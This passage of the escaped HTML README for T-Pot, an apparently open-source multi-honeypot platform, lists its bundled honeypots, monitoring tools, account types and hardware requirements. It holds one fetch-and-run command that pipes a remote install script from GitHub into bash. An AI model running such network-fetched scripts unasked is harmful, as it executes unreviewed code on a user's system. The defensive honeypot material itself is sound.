  &lt;li&gt;Run installer as non-root from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$HOME&lt;/code&gt;:
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;env bash -c &quot;$(curl -sL https://github.com/telekom-security/tpotce/raw/master/install.sh)&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;ul&gt;
      &lt;li&gt;Follow instructions, read messages, check for possible port conflicts and reboot&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h1&gt;
&lt;!-- TOC --&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#t-pot---the-all-in-one-multi-honeypot-platform&quot;&gt;T-Pot - The All In One Multi Honeypot Platform&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tldr&quot;&gt;TL;DR&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#table-of-contents&quot;&gt;Table of Contents&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#disclaimer&quot;&gt;Disclaimer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#technical-concept&quot;&gt;Technical Concept&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#technical-architecture&quot;&gt;Technical Architecture&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#services&quot;&gt;Services&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#user-types&quot;&gt;User Types&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#system-requirements&quot;&gt;System Requirements&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#running-in-a-vm&quot;&gt;Running in a VM&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#running-on-hardware&quot;&gt;Running on Hardware&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#running-in-a-cloud&quot;&gt;Running in a Cloud&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#required-ports&quot;&gt;Required Ports&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#system-placement&quot;&gt;System Placement&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#installation&quot;&gt;Installation&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#choose-your-distro&quot;&gt;Choose your distro&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#raspberry-pi-4-8gb-support&quot;&gt;Raspberry Pi 4 (8GB) Support&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#get-and-install-t-pot&quot;&gt;Get and install T-Pot&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#macos--windows&quot;&gt;macOS &amp;amp; Windows&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#installation-types&quot;&gt;Installation Types&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#standard--hive&quot;&gt;Standard / HIVE&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#distributed&quot;&gt;&lt;strong&gt;Distributed&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#uninstall-t-pot&quot;&gt;Uninstall T-Pot&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#first-start&quot;&gt;First Start&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#standalone-first-start&quot;&gt;Standalone First Start&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#distributed-deployment&quot;&gt;Distributed Deployment&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#community-data-submission&quot;&gt;Community Data Submission&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#opt-in-hpfeeds-data-submission&quot;&gt;Opt-In HPFEEDS Data Submission&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#remote-access-and-tools&quot;&gt;Remote Access and Tools&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#ssh&quot;&gt;SSH&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#t-pot-landing-page-&quot;&gt;T-Pot Landing Page&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#kibana-dashboard&quot;&gt;Kibana Dashboard&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#attack-map&quot;&gt;Attack Map&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#cyberchef&quot;&gt;Cyberchef&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#elasticvue&quot;&gt;Elasticvue&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#spiderfoot&quot;&gt;Spiderfoot&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#configuration&quot;&gt;Configuration&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#t-pot-config-file&quot;&gt;T-Pot Config File&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#customize-t-pot-honeypots-and-services&quot;&gt;Customize T-Pot Honeypots and Services&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#maintenance&quot;&gt;Maintenance&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#general-updates&quot;&gt;General Updates&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#update-script&quot;&gt;Update Script&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#known-issues&quot;&gt;Known Issues&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#docker-images-fail-to-download&quot;&gt;&lt;strong&gt;Docker Images Fail to Download&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#start-t-pot&quot;&gt;Start T-Pot&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#stop-t-pot&quot;&gt;Stop T-Pot&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#t-pot-data-folder&quot;&gt;T-Pot Data Folder&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#log-persistence&quot;&gt;Log Persistence&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#factory-reset&quot;&gt;Factory Reset&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#show-containers&quot;&gt;Show Containers&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#blackhole&quot;&gt;Blackhole&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#add-users-to-nginx-t-pot-webui&quot;&gt;Add Users to Nginx (T-Pot WebUI)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#import-and-export-kibana-objects&quot;&gt;Import and Export Kibana Objects&lt;/a&gt;
        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#export&quot;&gt;&lt;strong&gt;Export&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#import&quot;&gt;&lt;strong&gt;Import&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#troubleshooting&quot;&gt;Troubleshooting&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#logs&quot;&gt;Logs&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#ram-and-storage&quot;&gt;RAM and Storage&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#contact&quot;&gt;Contact&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#issues&quot;&gt;Issues&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#discussions&quot;&gt;Discussions&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#licenses&quot;&gt;Licenses&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#credits&quot;&gt;Credits&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#the-developers-and-development-communities-of&quot;&gt;The developers and development communities of&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#testimonials&quot;&gt;Testimonials&lt;/a&gt;
&lt;!-- TOC --&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;disclaimer&quot;&gt;Disclaimer&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;You install and run T-Pot within your responsibility. Choose your deployment wisely as a system compromise can never be ruled out.&lt;/li&gt;
  &lt;li&gt;For fast help research the &lt;a href=&quot;https://github.com/telekom-security/tpotce/issues&quot;&gt;Issues&lt;/a&gt; and &lt;a href=&quot;https://github.com/telekom-security/tpotce/discussions&quot;&gt;Discussions&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;The software is designed and offered with best effort in mind. As a community and open source project it uses lots of other open source software and may contain bugs and issues. Report responsibly.&lt;/li&gt;
  &lt;li&gt;Honeypots - by design - should not host any sensitive data. Make sure you don’t add any.&lt;/li&gt;
  &lt;li&gt;By default, your data is submitted to &lt;a href=&quot;https://www.sicherheitstacho.eu/start/main&quot;&gt;Sicherheitstacho&lt;/a&gt;. You can disable this in the config (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/docker-compose.yml&lt;/code&gt;) by &lt;a href=&quot;#community-data-submission&quot;&gt;removing&lt;/a&gt; the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ewsposter&lt;/code&gt; section. But in this case sharing really is caring!
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;technical-concept&quot;&gt;Technical Concept&lt;/h1&gt;
&lt;p&gt;T-Pot’s main components have been moved into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tpotinit&lt;/code&gt; Docker image allowing T-Pot to now support multiple Linux distributions, even macOS and Windows (although both limited to the feature set of Docker Desktop). T-Pot uses &lt;a href=&quot;https://www.docker.com/&quot;&gt;docker&lt;/a&gt; and &lt;a href=&quot;https://docs.docker.com/compose/&quot;&gt;docker compose&lt;/a&gt; to reach its goal of running as many honeypots and tools as possible simultaneously and thus utilizing the host’s hardware to its maximum.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;T-Pot offers docker images for the following honeypots …&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huuck/ADBHoney&quot;&gt;adbhoney&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Cymmetria/ciscoasa_honeypot&quot;&gt;ciscoasa&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/MalwareTech/CitrixHoneypot&quot;&gt;citrixhoneypot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://conpot.org/&quot;&gt;conpot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cowrie/cowrie&quot;&gt;cowrie&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/aelth/ddospot&quot;&gt;ddospot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/nsmfoo/dicompot&quot;&gt;dicompot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/DinoTools/dionaea&quot;&gt;dionaea&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab.com/bontchev/elasticpot&quot;&gt;elasticpot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/skeeto/endlessh&quot;&gt;endlessh&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mushorg/glutton&quot;&gt;glutton&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/yunginnanet/HellPot&quot;&gt;hellpot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/johnnykv/heralding&quot;&gt;heralding&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/qeeqbox/honeypots&quot;&gt;honeypots&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/armedpot/honeytrap/&quot;&gt;honeytrap&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab.com/bontchev/ipphoney&quot;&gt;ipphoney&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/thomaspatzke/Log4Pot&quot;&gt;log4pot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/awhitehatter/mailoney&quot;&gt;mailoney&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/schmalle/medpot&quot;&gt;medpot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cypwnpwnsocute/RedisHoneyPot&quot;&gt;redishoneypot&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/SentryPeer/SentryPeer&quot;&gt;sentrypeer&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://mushmush.org/&quot;&gt;snare&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://mushmush.org/&quot;&gt;tanner&lt;/a&gt;,&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/gbrindisi/wordpot&quot;&gt;wordpot&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;… alongside the following tools …&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/willfarrell/docker-autoheal&quot;&gt;Autoheal&lt;/a&gt; a tool to automatically restart containers with failed healthchecks.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;Cyberchef&lt;/a&gt; a web app for encryption, encoding, compression and data analysis.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.elastic.co/videos&quot;&gt;Elastic Stack&lt;/a&gt; to beautifully visualize all the events captured by T-Pot.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cars10/elasticvue/&quot;&gt;Elasticvue&lt;/a&gt; a web front end for browsing and interacting with an Elasticsearch cluster.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/0x4D31/fatt&quot;&gt;Fatt&lt;/a&gt; a pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/t3chn0m4g3/t-pot-attack-map&quot;&gt;T-Pot-Attack-Map&lt;/a&gt; a beautifully animated attack map for T-Pot.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lcamtuf.coredump.cx/p0f3/&quot;&gt;P0f&lt;/a&gt; is a tool for purely passive traffic fingerprinting.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/smicallef/spiderfoot&quot;&gt;Spiderfoot&lt;/a&gt; an open source intelligence automation tool.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://suricata-ids.org/&quot;&gt;Suricata&lt;/a&gt; a Network Security Monitoring engine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;… to give you the best out-of-the-box experience possible and an easy-to-use multi-honeypot system.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;technical-architecture&quot;&gt;Technical Architecture&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/telekom-security/tpotce/raw/master/doc/architecture.png&quot; alt=&quot;Architecture&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The source code and configuration files are fully stored in the T-Pot GitHub repository. The docker images are built and preconfigured for the T-Pot environment.&lt;/p&gt;

&lt;p&gt;The individual Dockerfiles and configurations are located in the &lt;a href=&quot;https://github.com/telekom-security/tpotce/tree/master/docker&quot;&gt;docker folder&lt;/a&gt;.
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h2 id=&quot;services&quot;&gt;Services&lt;/h2&gt;
&lt;p&gt;T-Pot offers a number of services which are basically divided into five groups:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;System services provided by the OS
    &lt;ul&gt;
      &lt;li&gt;SSH for secure remote access.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Elastic Stack
    &lt;ul&gt;
      &lt;li&gt;Elasticsearch for storing events.&lt;/li&gt;
      &lt;li&gt;Logstash for ingesting, receiving and sending events to Elasticsearch.&lt;/li&gt;
      &lt;li&gt;Kibana for displaying events on beautifully rendered dashboards.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Tools
    &lt;ul&gt;
      &lt;li&gt;NGINX provides secure remote access (reverse proxy) to Kibana, CyberChef, Elasticvue, GeoIP AttackMap, Spiderfoot and allows for T-Pot sensors to securely transmit event data to the T-Pot hive.&lt;/li&gt;
      &lt;li&gt;CyberChef a web app for encryption, encoding, compression and data analysis.&lt;/li&gt;
      &lt;li&gt;Elasticvue a web front end for browsing and interacting with an Elasticsearch cluster.&lt;/li&gt;
      &lt;li&gt;T-Pot Attack Map a beautifully animated attack map for T-Pot.&lt;/li&gt;
      &lt;li&gt;Spiderfoot an open source intelligence automation tool.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Honeypots
    &lt;ul&gt;
      &lt;li&gt;A selection of the 23 available honeypots based on the selected &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docker-compose.yml&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Network Security Monitoring (NSM)
    &lt;ul&gt;
      &lt;li&gt;Fatt a pyshark based script for extracting network metadata and fingerprints from pcap files and live network traffic.&lt;/li&gt;
      &lt;li&gt;P0f is a tool for purely passive traffic fingerprinting.&lt;/li&gt;
      &lt;li&gt;Suricata a Network Security Monitoring engine.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;user-types&quot;&gt;User Types&lt;/h2&gt;
&lt;p&gt;During the installation and during the usage of T-Pot there are two different types of accounts you will be working with. Make sure you know the differences of the different account types, since it is &lt;strong&gt;by far&lt;/strong&gt; the most common reason for authentication errors.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Service&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Account Type&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Username / Group&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;SSH&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;OS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;OS_USERNAME&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;The user you chose during the installation of the OS.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Nginx&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;BasicAuth&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;web_user&amp;gt;&lt;/code&gt; you chose during the installation of T-Pot.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;CyberChef&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;BasicAuth&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;web_user&amp;gt;&lt;/code&gt; you chose during the installation of T-Pot.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Elasticvue&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;BasicAuth&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;web_user&amp;gt;&lt;/code&gt; you chose during the installation of T-Pot.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Geoip Attack Map&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;BasicAuth&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;web_user&amp;gt;&lt;/code&gt; you chose during the installation of T-Pot.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Spiderfoot&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;BasicAuth&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;WEB_USER&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;web_user&amp;gt;&lt;/code&gt; you chose during the installation of T-Pot.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;T-Pot&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;OS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tpot&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tpot&lt;/code&gt; this user / group is always reserved by the T-Pot services.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;T-Pot Logs&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;BasicAuth&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;LS_WEB_USER&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LS_WEB_USER&lt;/code&gt; are automatically managed.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h1 id=&quot;system-requirements&quot;&gt;System Requirements&lt;/h1&gt;

&lt;p&gt;Depending on the &lt;a href=&quot;#choose-your-distro&quot;&gt;supported Linux distro images&lt;/a&gt;, hive / sensor, installing on &lt;a href=&quot;#running-on-hardware&quot;&gt;real hardware&lt;/a&gt;, in a &lt;a href=&quot;#running-in-a-vm&quot;&gt;virtual machine&lt;/a&gt; or other environments there are different kind of requirements to be met regarding OS, RAM, storage and network for a successful installation of T-Pot (you can always adjust &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/docker-compose.yml&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/tpotce/.env&lt;/code&gt;to your needs to overcome these requirements).
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;T-Pot Type&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;RAM&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Storage&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Hive&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;16GB&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;256GB SSD&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;As a rule of thumb, the more sensors &amp;amp; data, the more RAM and storage is needed.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Sensor&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;8GB&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;128GB SSD&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Since honeypot logs are persisted (~/tpotce/data) for 30 days, storage depends on attack volume.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;T-Pot does require …&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;an IPv4 address via DHCP or statically assigned&lt;/li&gt;
  &lt;li&gt;a working, non-proxied, internet connection
… for a successful installation and operation.
&lt;br /&gt;&lt;br /&gt;
&lt;em&gt;If you need proxy support or otherwise non-standard features, you should check the docs of the &lt;a href=&quot;#choose-your-distro&quot;&gt;supported Linux distro images&lt;/a&gt; and / or the &lt;a href=&quot;https://docs.docker.com/&quot;&gt;Docker documentation&lt;/a&gt;.&lt;/em&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;running-in-a-vm&quot;&gt;Running in a VM&lt;/h2&gt;
&lt;p&gt;All of the &lt;a href=&quot;#choose-your-distro&quot;&gt;supported Linux distro images&lt;/a&gt; will run in a VM which means T-Pot will just run fine. The following were tested / reported to work:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://mac.getutm.app/&quot;&gt;UTM (Intel &amp;amp; Apple Silicon)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.virtualbox.org/&quot;&gt;VirtualBox&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vmware.com/products/fusion/fusion-evaluation.html&quot;&gt;VMWare Fusion&lt;/a&gt; and &lt;a href=&quot;https://www.vmware.com/products/workstation-pro.html&quot;&gt;VMWare Workstation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;KVM is reported to work as well.&lt;/li&gt;
&lt;/ul&gt;

